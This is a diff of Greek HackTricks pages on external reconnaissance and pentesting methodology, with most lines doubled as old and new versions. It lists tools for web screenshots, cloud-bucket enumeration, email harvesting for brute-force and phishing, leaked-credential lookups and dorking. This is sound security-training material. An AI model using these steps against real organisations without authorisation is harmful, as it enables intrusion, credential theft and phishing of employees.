Τώρα που έχετε ανακαλύψει **όλους τους web servers** που υπάρχουν στο πεδίο (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας screenshots από όλους αυτούς. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** endpoints που είναι πιο **πιθανά** να είναι **ευάλωτα**. Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά κοιτάζοντας τη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** καταλήξεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **screenshots** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι. Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι.
## Δημόσια Περιουσιακά Στοιχεία Cloud ## Δημόσια Περιουσιακά Στοιχεία Cloud
Για να βρείτε πιθανά περιουσιακά στοιχεία cloud που ανήκουν σε μια εταιρεία θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που προσδιορίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια κρυπτονομισματική εταιρεία μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`. Για να βρείτε πιθανά περιουσιακά στοιχεία cloud που ανήκουν σε μια εταιρεία θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που προσδιορίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια κρυπτονομισματική εταιρεία μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Θα χρειαστείτε επίσης λίστες λέξεων με **κοινές λέξεις που χρησιμοποιούνται σε buckets**: Θα χρειαστείτε επίσης λίστες λέξεων με **κοινές λέξεις που χρησιμοποιούνται σε κάδους**:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **παραλλαγές** (δείτε το [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες). Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **παραλλαγές** (δείτε το [**Δεύτερος Γύρος DNS Brute-Force**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες).
Με τις προκύπτουσες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** Με τις προκύπτουσες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Θυμηθείτε ότι όταν ψάχνετε για Cloud Assets θα πρέπει να **ψάχνετε για περισσότερα από απλά buckets σε AWS**. Θυμηθείτε ότι όταν ψάχνετε για περιουσιακά στοιχεία Cloud θα πρέπει να **ψάχνετε για περισσότερα από απλώς κάδους σε AWS**.
### **Αναζητώντας ευπάθειες** ### **Αναζητώντας ευπάθειες**
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι σας προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε. Αν βρείτε πράγματα όπως **ανοιχτούς κάδους ή εκτεθειμένες λειτουργίες cloud** θα πρέπει να **πρόσβαση σε αυτά** και να προσπαθήσετε να δείτε τι προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε.
## Emails ## Emails
Με τα **domains** και **subdomains** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να ξεκινήσετε την αναζήτηση για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας: Με τους **τομείς** και **υποτομείς** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να ξεκινήσετε την αναζήτηση για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας:
* [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs * [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs
* API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση) * API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση)
@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζητώντας ευπάθειες** ### **Αναζητώντας ευπάθειες**
Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. Τα emails θα φανούν χρήσιμα αργότερα για **brute-force web logins και υπηρεσίες αυθεντικοποίησης** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
## Διαρροές Διαπιστευτηρίων ## Διαρροές Διαπιστευτηρίων
Με τα **domains,** **subdomains**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails: Με τους **τομείς,** **υποτομείς**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails:
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
@ -572,14 +572,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Διαρροές Github ### Διαρροές Github
Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\ Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα. Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**. **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλα τα **κείμενα** που παρέχονται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks #### Github Dorks
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε: Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
{% content-ref url="github-leaked-secrets.md" %} {% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md) [github-leaked-secrets.md](github-leaked-secrets.md)
@ -587,12 +587,12 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Διαρροές Pastes ### Διαρροές Pastes
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\ Μερικές φορές οι επιτιθέμενοι ή απλώς οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα. Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα.
### Google Dorks ### Google Dorks
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή μπορείτε να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τα εκτελέσετε όλα**. Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις αγαπημένες σας 10 ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τα εκτελέσετε όλα**.
_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._ _Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
@ -604,21 +604,21 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν. Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν.
**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε: **Ανάλογα με τη γλώσσα** υπάρχουν διαφορετικά **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσιες αποθήκες**, όπως: Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσια αποθετήρια**, όπως:
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) ## [**Μεθοδολογία Pentesting Web**](../../network-services-pentesting/pentesting-web/)
Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web applications**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/). Η **πλειοψηφία των ευπαθειών** που βρίσκονται από κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες εφαρμογών**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών εφαρμογών ιστού**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν δεν θα πρέπει να περιμένετε να βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **workflows για να έχετε κάποιες αρχικές πληροφορίες web.** Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Αυτόματοι Σαρωτές Ιστού ανοιχτού κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν δεν θα πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμοι για να τις εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
## Ανακεφαλαίωση ## Ανακεφαλαίωση
@ -626,15 +626,15 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
Έτσι έχετε ήδη: Έτσι έχετε ήδη:
1. Βρει όλες τις **εταιρείες** μέσα στο πεδίο 1. Βρει όλους τους **τομείς** μέσα στο πεδίο
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο) 2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
3. Βρει όλα τα **domains** που ανήκουν στις εταιρείες 3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρει όλα τα **subdomains** των domains (κάποια takeover subdomain;) 4. Βρει όλους τους **υποτομείς** των τομέων (κάποια κατάληψη υποτομέα;)
5. Βρει όλες τις **IPs** (από και **όχι από CDNs**) μέσα στο πεδίο. 5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
6. Βρει όλους τους **web servers** και πήρε ένα **screenshot** από αυτούς (κάτι περίεργο που αξίζει μια πιο βαθιά ματιά;) 6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία. 7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**. 8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Pentesting όλων των ιστοσελίδων που βρήκατε** 9. **Pentesting όλων των ιστότοπων που βρήκατε**
## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης** ## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης**
@ -647,17 +647,17 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
## **Αναφορές** ## **Αναφορές**
* Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) * Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως [**Η Μεθοδολογία Κυνηγού Σφαλμάτων v4.0 - Έκδοση Αναγνώρισης**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -6,7 +6,7 @@
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,7 +15,7 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
@ -33,7 +33,7 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
### 1 - [Ανακάλυψη hosts μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη περιουσιακών στοιχείων της εταιρείας](external-recon-methodology/) ### 1 - [Ανακάλυψη hosts μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη περιουσιακών στοιχείων της εταιρείας](external-recon-methodology/)
**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο εταιρικό δίκτυο** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή). **Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο δίκτυο της εταιρείας** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
{% hint style="info" %} {% hint style="info" %}
Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό. Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
@ -42,26 +42,26 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερική)** ### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερική)**
**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε μια εσωτερική δοκιμή.**\ **Αυτή η ενότητα ισχύει μόνο αν εκτελείτε μια εσωτερική δοκιμή.**\
Πριν επιτεθείτε σε έναν host, ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε [**Pentesting Network**](pentesting-network/#sniffing). Πριν επιτεθείτε σε έναν host, ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **συλλέξετε** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Σάρωση Θυρών - Ανακάλυψη υπηρεσιών](pentesting-network/#scanning-hosts) ### 3- [Σάρωση Θυρών - Ανακάλυψη υπηρεσιών](pentesting-network/#scanning-hosts)
Το πρώτο πράγμα που πρέπει να κάνετε όταν **ψάχνετε για ευπάθειες σε έναν host** είναι να γνωρίζετε ποιες **υπηρεσίες εκτελούνται** σε ποιες θύρες. Ας δούμε τα [**βασικά εργαλεία για σάρωση θυρών hosts**](pentesting-network/#scanning-hosts). Το πρώτο πράγμα που πρέπει να κάνετε όταν **ψάχνετε για ευπάθειες σε έναν host** είναι να γνωρίζετε ποιες **υπηρεσίες εκτελούνται** σε ποιες θύρες. Ας δούμε τα [**βασικά εργαλεία για σάρωση θυρών hosts**](pentesting-network/#scanning-hosts).
### **4-** [**Αναζητώντας exploits εκδόσεων υπηρεσιών**](search-exploits.md) ### **4-** [Αναζητώντας exploits εκδόσεων υπηρεσιών](search-exploits.md)
Μόλις γνωρίζετε ποιες υπηρεσίες εκτελούνται, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως να έχετε τύχη και να υπάρχει ένα exploit που να σας δώσει ένα shell... Μόλις γνωρίζετε ποιες υπηρεσίες εκτελούνται, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως να έχετε τύχη και να υπάρχει ένα exploit που να σας δίνει ένα shell...
### **5-** Υπηρεσίες Pentesting ### **5-** Υπηρεσίες Pentesting
Αν δεν υπάρχει κάποιο fancy exploit για καμία εκτελούμενη υπηρεσία, θα πρέπει να αναζητήσετε **κοινές κακοδιαμορφώσεις σε κάθε εκτελούμενη υπηρεσία.** Αν δεν υπάρχει κάποιο εντυπωσιακό exploit για καμία εκτελούμενη υπηρεσία, θα πρέπει να αναζητήσετε **κοινές κακοδιαμορφώσεις σε κάθε εκτελούμενη υπηρεσία.**
**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για pentest τις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στο αριστερό ευρετήριο την** _**ΕΝΟΤΗΤΑ PENTESTING**_ **(οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).** **Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να κάνετε pentest στις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στον αριστερό δείκτη την** _**ΕΝΟΤΗΤΑ PENTESTING**_ **(οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).**
**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\ **Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
Επίσης, μπορείτε να βρείτε εδώ έναν μικρό οδηγό για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](search-exploits.md). Επίσης, ένας μικρός οδηγός για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](search-exploits.md) μπορεί να βρεθεί εδώ.
